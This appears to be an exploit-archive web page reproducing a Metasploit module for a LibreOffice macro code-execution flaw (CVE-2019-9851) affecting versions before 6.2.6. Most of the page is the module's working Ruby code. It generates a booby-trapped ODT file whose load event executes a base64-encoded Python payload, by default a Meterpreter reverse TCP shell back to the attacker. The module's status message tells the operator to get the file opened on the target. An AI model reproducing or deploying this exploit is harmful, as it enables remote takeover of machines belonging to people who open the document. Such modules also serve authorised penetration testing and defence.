libreoffice < 6.2.6 macro python code execution (metasploit)

▸▸▸ Exploit & Vulnerability >>   remote exploit & multiple vulnerability




libreoffice < 6.2.6 macro python code execution (metasploit) Code Code...
				
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'LibreOffice Macro Python Code Execution', 'Description' => %q{ LibreOffice comes bundled with sample macros written in Python and allows the ability to bind program events to them. LibreLogo is a macro that allows a program event to execute text as Python code, allowing RCE. This module generates an ODT file with a dom loaded event that, when triggered, will execute arbitrary python code and the metasploit payload. }, 'License' => MSF_LICENSE, 'Author' => [ 'Nils Emmerich', # Vulnerability discovery and PoC 'Shelby Pace', # Base module author (CVE-2018-16858), module reviewer and platform-independent code 'LoadLow', # This msf module 'Gabriel Masei' # Global events vuln. disclosure ], 'References' => [ [ 'CVE', '2019-9851' ], [ 'URL', 'https://www.libreoffice.org/about-us/security/advisories/cve-2019-9848/' ], [ 'URL', 'https://www.libreoffice.org/about-us/security/advisories/cve-2019-9851/' ], [ 'URL', 'https://insinuator.net/2019/07/libreoffice-a-python-interpreter-code-execution-vulnerability-cve-2019-9848/' ] ], 'DisclosureDate' => '2019-07-16', 'Platform' => 'python', 'Arch' => ARCH_PYTHON, 'DefaultOptions' => { 'Payload' => 'python/meterpreter/reverse_tcp' }, 'Targets' => [ ['Automatic', {}] ], 'DefaultTarget' => 0 )) register_options( [ OptString.new('FILENAME', [true, 'Output file name', 'librefile.odt']), OptString.new('TEXT_CONTENT', [true, 'Text written in the document. It will be html encoded.', 'My Report']), ]) end def gen_file text_content = Rex::Text.html_encode(datastore['TEXT_CONTENT']) py_code = Rex::Text.encode_base64(payload.encoded) @cmd = "exec(eval(str(__import__('base64').b64decode('#{py_code}'))))" @cmd = Rex::Text.html_encode(@cmd) fodt_file = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-9848', 'librefile.erb')) libre_file = ERB.new(fodt_file).result(binding()) print_status("File generated! Now you need to move the odt file and find a way to send it/open it with LibreOffice on the target.") libre_file rescue Errno::ENOENT fail_with(Failure::NotFound, 'Cannot find template file') end def exploit fodt_file = gen_file file_create(fodt_file) end end

Libreoffice < 6.2.6 macro python code execution (metasploit) Vulnerability / Exploit Source : Libreoffice < 6.2.6 macro python code execution (metasploit)



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.